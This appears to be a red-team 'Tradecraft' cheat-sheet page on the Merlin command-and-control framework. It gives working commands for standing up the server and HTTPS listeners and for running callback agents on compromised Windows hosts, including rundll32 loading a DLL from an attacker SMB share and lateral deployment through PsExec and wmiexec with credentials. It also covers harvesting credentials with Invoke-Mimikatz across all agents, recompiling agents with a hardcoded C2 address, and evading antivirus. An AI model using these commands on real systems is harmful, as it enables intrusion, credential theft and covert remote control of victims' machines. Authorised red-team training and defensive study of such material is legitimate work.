ᛉ Yggdrasil

Tradecraft

Merlin C2

15 Sep 2026 · 2,299 words · 10 min

Contents

Legend: [SERVER] = Run on Merlin server host | [CLIENT] = Run in Merlin CLI | [AGENT] = Run inside active Merlin agent interaction | [HOST] = Run on attacker host OS


1. What is Merlin

What it means: Merlin is a cross-platform post-exploitation Command and Control framework written in Go, with both the server and agent able to run across major operating systems. SpecterOps’ documentation library describes it as a cross-platform post-exploitation C2 server and agent written in Go, and the main GitHub repo highlights features such as an HTTP/2-based agent and a command-line interface.

Attacker Host (Merlin Server + Merlin CLI)
│
│ ← HTTP/2 / HTTPS communications
│
Victim Host (Merlin Agent)

Merlin vs Sliver / Mythic / Empire

Feature Merlin Sliver Mythic Empire
Interface CLI CLI Web UI GUI + CLI
Language Go Go Containerized multi-service Python + multi-language agents
Agent model Standalone Merlin agent Implant / Beacon Payload type dependent Agent
Extensibility Modules Armory Payloads + C2 profiles Modules
Cross-platform Yes Yes Depends on agent Yes

Key Concepts

Term Meaning
Merlin Server Main C2 server component; release bundle also includes CLI and precompiled agents in data/bin/
Merlin CLI Operator interface used to manage listeners, sessions, and modules
Listener Server-side component that accepts agent communications
Agent Merlin implant that connects back to the server
Session Established agent connection managed from the CLI
Module Built-in post-exploitation capability executed against one or more agents

2. Setting Up Merlin

What it means: The quickest documented path is to download the prebuilt Merlin Server release, extract it with 7z using password merlin, and run it. The quick-start docs note that the server download already includes the CLI and compiled agents for all three major platforms in data/bin/.

2.1 Quick Ubuntu Install

sudo bash -c '
apt update &&
apt install p7zip-full -y &&
cd /opt &&
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z &&
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z &&
cd merlin &&
./merlinServer-Linux-x64
'

2.2 Manual Extraction

wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z
cd merlin
./merlinServer-Linux-x64

2.3 Important Bundle Layout

Merlin server release contains:
- Merlin Server binary
- Merlin CLI
- Precompiled agents for Windows / Linux / macOS
Location:
data/bin/

This is stated directly in the quick-start docs.

2.4 Launch the CLI

cd /opt/merlin/data/bin
./merlinCLI

2.5 Default Agent URL Behavior

The docs say the agent’s -url flag defaults to https://127.0.0.1:443/ unless you specify another server URL or recompile the agent with a hardcoded address.


3. Merlin Architecture

What it means: Merlin has a simpler architecture than frameworks like Mythic: a server, a CLI, and agents that communicate back over the configured transport. The command interface docs show that the CLI is organized into menus for agents, listeners, modules, and the main menu.

3.1 CLI Menus

Menu Purpose
Merlin» Main menu
Merlin[listeners]» Listener management
Merlin[agent]» Interact with a specific agent
Merlin[modules]» Work with modules
Merlin[module][name]» Configure and run a specific module

3.2 Main Components

Merlin Server
 │
 ├── Listener(s)
 ├── Session tracking
 ├── Module execution
 └── Merlin CLI control plane
 │
 ▼
 Merlin Agents

3.3 Command Behavior

The older main-menu docs note that commands not recognized as Merlin commands are executed on the host running the Merlin server, which is useful for quick local host tasks like checking interfaces.

Example:

Merlin» ip a show ens32

4. Listeners

What it means: Listeners are managed from the dedicated listeners menu, and they define how Merlin accepts inbound agent connections. Community usage docs show operators entering the listeners menu, selecting HTTPS, setting interface and port, then starting the listener.

4.1 Enter the Listeners Menu

Merlin» listeners
Merlin[listeners]»

4.2 Example HTTPS Listener Setup

Merlin[listeners]» use HTTPS
Merlin[listeners][HTTPS]» set Interface 0.0.0.0
Merlin[listeners][HTTPS]» set Port 8443
Merlin[listeners][HTTPS]» show
Merlin[listeners][HTTPS]» start

This sequence is documented in a practical Merlin setup walkthrough.

4.3 Listener Verification

Merlin[listeners]» show
Merlin[listeners]» info

4.4 Why 0.0.0.0

Using 0.0.0.0 binds the listener on all interfaces, allowing hosts elsewhere on the network to reach the Merlin server instead of only localhost.


5. Agents

What it means: Merlin distributes precompiled agents with the server package, and the quick-start docs explain that you typically upload or copy a compiled agent to a compromised host and execute it with the -url flag to point at your listening server.

5.1 Agent Locations

data/bin/
├── windows/
├── linux/
└── macOS/

The docs state that precompiled agent binaries are distributed with the server in data/bin/.

5.2 Run a Windows EXE Agent

C:\Users\Bob\Downloads>merlinAgent.exe -url https://192.168.1.100:443/

5.3 Run a DLL Agent via rundll32.exe

C:\WINDOWS\System32\rundll32.exe merlin.dll,Run https://192.168.1.100:443/

The quick-start docs explicitly document Run as the DLL entrypoint and show passing the listener URL after it.

5.4 Default Behavior

If you double-click the Windows EXE agent, the docs say it runs without a visible window and attempts to connect to the default URL https://127.0.0.1:443/.


6. Sessions & Interaction

What it means: Once an agent connects, it becomes a session that you can list and interact with from the CLI. The module docs show that sessions lists established agents and interact <agentID> switches context to a specific agent.

6.1 List Sessions

Merlin» sessions

6.2 Interact with an Agent

Merlin» interact <agentID>
Merlin[agent][<agentID>]»

The interact command is documented as taking an agent ID and switching to that agent for direct interaction.

6.3 Return to Other Menus

Merlin[agent][<agentID>]» listeners
Merlin[listeners]»

The docs explicitly show moving from an agent menu back into the listeners menu with listeners.

6.4 Agent Status Awareness

The module docs note that sessions can be run from the module menu as well to quickly list established agents and include their status.


7. Modules

What it means: Merlin modules are configured and run against an agent or, in some cases, all agents. The documentation states that each module has an Agent option that must be set, with the default blank value of 00000000-0000-0000-0000-000000000000, and the special value all maps to all-Fs.

7.1 Enter the Modules Menu

Merlin» use modules
Merlin[modules]»

The older main-menu docs state that use modules is the main feature exposed from the top-level menu.

7.2 Select and Configure a Module

Merlin[modules]» interact Invoke-Mimikatz
Merlin[module][Invoke-Mimikatz]» set Agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[module][Invoke-Mimikatz]» run

The docs provide this exact style of example and state that run executes the module on the configured agent.

7.3 Run Against All Agents

Merlin[module][SomeModule]» set Agent all
Merlin[module][SomeModule]» run

When all is used, Merlin sets the module’s internal target value to ffffffff-ffff-ffff-ffff-ffffffffffff.

7.4 Useful Module Workflow

Merlin[modules]» sessions
Merlin[modules]» info
Merlin[module][Name]» show
Merlin[module][Name]» set Agent <agentID>
Merlin[module][Name]» run

8. Initial Access — Delivery

What it means: Merlin is a post-exploitation framework, so the docs explicitly say you must already have code execution or access on a host before using it. After that, you upload or remotely execute the agent.

8.1 Local Command Execution on Windows

merlinAgent.exe -url https://192.168.1.100:443/

8.2 PsExec Remote Delivery

.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/

The docs explain that -c uploads the file and -d is required so control returns after starting the agent.

8.3 SMB Delivery + rundll32.exe

rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/

The quick-start docs show Metasploit SMB delivery plus remote execution with wmiexec.py, and explicitly note you must change the default DLL entrypoint from 0 to Run and append the Merlin server URL.

8.4 WMI Remote Execution Example

python wmiexec.py bob:password@192.168.1.10
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/

9. Privilege Escalation

What it means: Merlin’s privesc workflow is primarily module-driven rather than built around a huge number of native in-agent commands. The documented module model, including examples like Invoke-Mimikatz, shows that the framework expects operators to configure modules against agents as needed.

9.1 General Privesc Pattern

Get initial agent
 │
 ├── Enumerate host context
 ├── Run privesc-oriented module
 ├── Validate new privileges
 └── Continue with higher-integrity session

9.2 Module-Driven Execution

Merlin» use modules
Merlin[modules]» interact <PrivescModule>
Merlin[module][<PrivescModule>]» set Agent <agentID>
Merlin[module][<PrivescModule>]» run

9.3 Why This Matters

Because Merlin’s docs emphasize modules, the exact privilege escalation path depends on which module is available and what the target operating system supports.


10. Credential Access

What it means: Credential access in Merlin is also typically accomplished via modules targeting one or more agents. The documentation’s example using Invoke-Mimikatz shows the intended pattern for module-based credential operations.

10.1 Example Credential Module Flow

Merlin» use modules
Merlin[modules]» interact Invoke-Mimikatz
Merlin[module][Invoke-Mimikatz]» set Agent <agentID>
Merlin[module][Invoke-Mimikatz]» run

10.2 Multi-Agent Credential Collection

Merlin[module][Invoke-Mimikatz]» set Agent all
Merlin[module][Invoke-Mimikatz]» run

10.3 Practical Workflow

1. List sessions
2. Choose target agent(s)
3. Select credential module
4. Set Agent option
5. Run module
6. Review output / follow-on actions

11. Lateral Movement & Pivoting

What it means: Merlin itself gives you the C2 transport and agent management layer, while lateral movement is generally performed via modules or external tooling once you have a session on a host. The delivery examples in the docs show common Windows remote-execution paths like PsExec and WMI that naturally extend to lateral deployment of additional Merlin agents.

11.1 PsExec-Based Lateral Agent Deployment

.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/

11.2 WMI-Based Lateral Deployment

python wmiexec.py bob:password@192.168.1.10
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/

11.3 Multi-Session Management

Merlin» sessions
Merlin» interact <agentID>

Once multiple agents are deployed, the sessions menu becomes the central way to pivot your control between hosts.


12. Advanced Payload Configuration

What it means: If you cannot or do not want to specify the listener URL at runtime, Merlin’s docs explain that you can recompile the agent with a hardcoded C2 URL. The DLL-focused advanced section shows editing main.go and rebuilding.

12.1 Recompile a DLL with Hardcoded URL

cd /opt
git clone -b dev https://github.com/Ne0nd0g/merlin-agent-dll.git
cd merlin-agent-dll
sed -i 's_https://127.0.0.1:443/_https://192.168.1.100:443/_' main.go
make

12.2 Result

The rebuilt DLL is left under:

bin/v0.5.0/

as documented in the quick-start example.

12.3 Hardcoded Execution Examples

rundll32.exe merlin,main
rundll32.exe merlin,Run
regsvr32.exe /s merlin.dll
regsvr32.exe /s /u merlin.dll
regsvr32.exe /s /n /i merlin.dll

These are explicitly listed in the advanced DLL section of the docs.


13. Detection & OPSEC

What it means: Merlin’s public identity is tied strongly to its Go-based agent and HTTP/2/HTTPS communications, so OPSEC depends heavily on transport configuration, delivery method, and whether the agent is run from disk. The quick-start docs explicitly warn that PsExec delivery leaves the Merlin agent on disk and creates an opportunity for AV to detect it.

13.1 Disk Exposure Risk

Using PsExec with -c uploads the agent binary to the remote host, which the docs note creates an opportunity for anti-virus detection because the Merlin agent lands on disk.

13.2 Default URL Pitfall

If you forget to specify -url or recompile the agent, it will try to connect to the default https://127.0.0.1:443/, which can cause failed callbacks and easy operator mistakes.

13.3 Operational Checks

Merlin» sessions
Merlin[listeners]» show
Merlin[listeners]» info

13.4 Practical OPSEC Notes

- Avoid unnecessary on-disk payload staging where possible.
- Verify the listener before execution.
- Use the correct runtime URL or recompile with a hardcoded URL.
- Treat module execution on “all” agents as noisy unless truly needed.

These recommendations follow directly from the documented delivery model, module targeting behavior, and default URL handling.


14. Master Cheat Sheet

Install & Start

wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z
cd merlin
./merlinServer-Linux-x64

Launch CLI

cd /opt/merlin/data/bin
./merlinCLI

Listener Setup

listeners
use HTTPS
set Interface 0.0.0.0
set Port 8443
show
start

Sessions

sessions
interact <agentID>

Modules

use modules
interact <ModuleName>
set Agent <agentID>
run

Run Against All Agents

set Agent all
run

Windows EXE Delivery

merlinAgent.exe -url https://<SERVER_IP>:443/

Windows DLL Delivery

rundll32.exe merlin.dll,Run https://<SERVER_IP>:443/

Remote Delivery

.\PsExec.exe \\<TARGET> -u user -p password -d -c C:\path\merlinAgent.exe -url https://<SERVER_IP>:443/
python wmiexec.py user:password@<TARGET>
C:\>rundll32.exe \\<ATTACKER_IP>\<SHARE>\merlin.dll,Run https://<SERVER_IP>:443/

Decision Tree

Need quick C2 setup?
│
├── Download Merlin server release
├── Extract with password "merlin"
├── Start Merlin server
├── Open Merlin CLI
│
├── Configure and start listener
├── Deliver agent to target
├── Wait for session
│
├── List sessions
├── Interact with target agent
│
├── Need post-exploitation?
│ └── use modules
│
├── Need multi-host execution?
│ └── set Agent all
│
└── Need stealth / easier execution?
 └── Recompile agent with hardcoded URL

← Tradecraft top ↑